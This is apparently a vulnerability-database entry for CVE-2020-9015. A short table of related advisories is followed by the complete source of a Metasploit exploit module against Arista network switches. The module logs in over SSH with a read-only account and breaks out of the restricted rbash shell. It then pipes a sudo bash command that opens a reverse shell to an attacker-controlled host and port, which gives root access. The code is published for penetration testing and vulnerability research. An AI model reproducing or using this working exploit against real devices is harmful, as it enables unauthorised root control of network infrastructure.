| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| Arista Restricted Shell Escape - Privilege Escalation | 21 Jun 202009:00 | – | 0daydb | |
| Arista Restricted Shell Escape / Privilege Escalation Exploit | 16 Jun 202000:00 | – | zdt | |
| CVE-2020-9015 | 16 Jun 202012:00 | – | circl | |
| CVE-2020-9015 | 20 Feb 202021:39 | – | cve | |
| CVE-2020-9015 | 20 Feb 202021:39 | – | cvelist | |
| Arista restricted shell escape (with privesc) | 21 Apr 202019:21 | – | metasploit | |
| CVE-2020-9015 | 20 Feb 202022:15 | – | nvd | |
| CVE-2020-9015 | 20 Feb 202022:15 | – | osv | |
| Design/Logic Flaw | 20 Feb 202022:15 | – | prion | |
| PT-2020-20430 · Arista · Arista Dcs-7050Cx3-32S-R +2 | 20 Feb 202000:00 | – | ptsecurity |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'net/ssh'
require 'net/ssh/command_stream'
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::SSH
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Arista restricted shell escape (with privesc)',
'Description' => %q{
This exploit module takes advantage of a poorly configured TACACS+ config,
Arista's bash shell and TACACS+ read-only account to privilage escalate.
A CVSS v3 base score of 9.8 has been assigned.
},
'License' => MSF_LICENSE,
'Author' => ['Chris Anders'],
'References' =>
[
[ 'CVE', '2020-9015'],
[ 'URL', 'http://www.securitybytes.me/posts/cve-2020-9015/'],
[ 'URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9015' ],
[ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2020-9015' ],
],
'Arch' => ARCH_X86,
'ConnectionType' => 'find',
'DefaultTarget' => 0,
'DefaultOptions' =>
{
'Payload' => 'linux/x86/shell_reverse_tcp'
},
'DisclosureDate' => 'Feb 02 2020',
'Platform' => 'linux',
'PayloadType' => 'cmd_interact',
'Privileged' => true,
'Targets' => [ [ 'Universal', {} ] ]
)
)
register_options(
[
Opt::RPORT(22),
OptString.new('USERNAME', [true, 'Username to login with', '']),
OptString.new('PASSWORD', [true, 'Password to login with', '']),
]
)
register_advanced_options(
[
Opt::Proxies,
OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 30]),
OptBool.new('GatherProof', [true, 'Gather proof of access via pre-session shell commands', false])
]
)
end
def check
factory = ssh_socket_factory
opts = {
auth_methods: ['password', 'keyboard-interactive'],
port: rport,
use_agent: false,
config: false,
password: password,
proxy: factory,
non_interactive: true,
verify_host_key: :never
}
begin
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
Net::SSH.start(rhost, username, opts)
end
rescue Rex::ConnectionError
return CheckCode::Safe
rescue Net::SSH::Disconnect, ::EOFError
return CheckCode::Safe
rescue Timeout::Error
return CheckCode::Safe
rescue Net::SSH::AuthenticationFailed
return CheckCode::Safe
rescue Net::SSH::Exception
return CheckCode::Safe
end
CheckCode::Detected
end
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end
def lport
datastore['LPORT']
end
def lhost
datastore['LHOST']
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def exploit
factory = ssh_socket_factory
opts = {
auth_methods: ['password', 'keyboard-interactive'],
port: rport,
use_agent: false,
config: false,
password: password,
proxy: factory,
non_interactive: true,
verify_host_key: :never
}
opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
print_status("#{rhost}:#{rport} - Attempt to login to the Arista's restricted shell...")
begin
ssh = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh = Net::SSH.start(rhost, username, opts)
end
rescue Rex::ConnectionError
fail_with(Failure::Unreachable, "#{rhost}:#{rport} SSH - Connection error or address in use")
rescue Net::SSH::Disconnect, ::EOFError
fail_with(Failure::Disconnected, "#{rhost}:#{rport} SSH - Disconnected during negotiation")
rescue ::Timeout::Error
fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation")
rescue Net::SSH::AuthenticationFailed
fail_with(Failure::NoAccess, "#{rhost}:#{rport} SSH - Failed authentication")
rescue Net::SSH::Exception => e
fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}")
end
fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH session couldn't be established") unless ssh
begin
payload_executed = false
print_good('SSH connection established.')
ssh.open_channel do |channel, _data|
print_status('Requesting pty rbash')
channel.request_pty do |ch, success|
fail_with(Failure::Unreachable, "#{rhost}:#{rport} Could not request a PTY!") unless success
print_good('PTY successfully obtained.')
print_status('Requesting a shell.')
ch.send_channel_request('shell') do |cha, _succ|
fail_with(Failure::Unreachable, "#{rhost}:#{rport} Could not open rbash shell!") unless success
print_good('Spawned into arista rbash shell.')
cha.on_data do |_xx, data2|
if data2.include? '#'
if !payload_executed
print_status('Attempting to break out of Arista rbash...')
channel.send_data("show run | grep '' | sudo bash -c 'bash -i >& /dev/tcp/#{lhost}/#{lport} 0>&1 2>&1 &'\n")
payload_executed = true
print_good('Escaped from rbash!')
end
end
end
end
end
end
ssh.loop unless session_created?
rescue Errno::EBADF => e
elog(e.message)
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation